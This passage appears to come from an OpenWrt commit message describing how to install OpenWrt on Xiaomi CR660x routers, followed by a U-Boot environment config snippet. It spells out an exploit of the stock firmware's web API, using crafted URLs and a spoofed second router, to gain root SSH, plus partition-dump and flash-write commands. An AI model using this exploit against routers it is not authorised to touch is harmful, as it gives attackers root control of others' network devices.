wireless network interface's IP to 169.254.31.1, turn off DHCP of wireless interface's zone. 1.2.5. Connect to the router wirelessly, manually set your access device's IP to 169.254.31.3, make sure http://169.254.31.1/cgi-bin/luci/api/xqsystem/token still have a similar result as 1.2.3 shows. 1.3. On the Xiaomi CR660x: 1.3.1. Login to the web interface. Your would be directed to a page with URL like this: http://{ROUTER_ADDR}/cgi-bin/luci/;stok={STOK}/web/home#r- outer 1.3.2. Browse this URL with {STOK} from 1.3.1, {WIFI_NAME} {PASSWORD} be your OpenWrt router's SSID and password: http://{MIROUTER_ADDR}/cgi-bin/luci/;stok={STOK}/api/misy- stem/extendwifi_connect?ssid={WIFI_NAME}&password={PASSWO- RD} It should return 0. 1.3.3. Browse this URL with {STOK} from 1.3.1: http://{MIROUTER_ADDR}/cgi-bin/luci/;stok={STOK}/api/xqsy- stem/oneclick_get_remote_token?username=xxx&password=xxx&- nonce=xxx 1.4. Before rebooting, you can now access your CR660x via SSH. For CR6606, you can calculate your root password by this project: https://github.com/wfjsw/xiaoqiang-root-password, or at https://www.oxygen7.cn/miwifi. The root password for carrier-specific models should be the admi- nistration password or the default login password on the label. It is also feasible to change the root password at the same time by modifying the script from step 1.2.2. You can treat OpenWrt Router however you like from this point as long as you don't mind go through this again if you have to expl- oit it again. If you do have to and left your OpenWrt router unt- ouched, start from 1.3. 2. There's no official binary firmware available, and if you lose the content of your flash, no one except Xiaomi can help you. Dump these partitions in case you need them: "Bootloader" "Nvram" "Bdata" "crash" "crash_log" "firmware" "firmware1" "overlay" "obr" Find the corespond block device from /proc/mtd Read from read-only block device to avoid misoperation. It's recommended to use /tmp/syslogbackup/ as destination, since files would be available at http://{ROUTER_ADDR}/backup/log/YOUR_DUMP Keep an eye on memory usage though. 3. Since UART access is locked ootb, you should get UART access by modify uboot env. Otherwise, your router may become bricked. Excute these in stock firmware shell: a. nvram set boot_wait=on b. nvram set bootdelay=3 c. nvram commit Or in OpenWrt: a. opkg update && opkg install kmod-mtd-rw b. insmod mtd-rw i_want_a_brick=1 c. fw_setenv boot_wait on d. fw_setenv bootdelay 3 e. rmmod mtd-rw Migrate to OpenWrt: 1. Transfer squashfs-firmware.bin to the router. 2. nvram set flag_try_sys1_failed=0 3. nvram set flag_try_sys2_failed=1 4. nvram commit 5. mtd -r write /path/to/image/squashfs-firmware.bin firmware Additional Info: 1. CR660x series routers has a different nand layout compared to other Xiaomi nand devices. 2. This router has a relatively fresh uboot (2018.09) compared to other Xiaomi devices, and it is capable of booting fit image firmware. Unfortunately, no successful attempt of booting OpenWrt fit image were made so far. The cause is still yet to be known. For now, we use legacy image instead. Signed-off-by: Raymond Wang <infiwang@pm.me>
2021-09-11 15:54:30 +00:00
xiaomi,mi-router-cr6606|\
xiaomi,mi-router-cr6608|\
xiaomi,mi-router-cr6609)
ubootenv_add_uci_config "/dev/mtd1" "0x0" "0x10000" "0x20000"
;;
esac
config_load ubootenv
config_foreach ubootenv_add_app_config
exit 0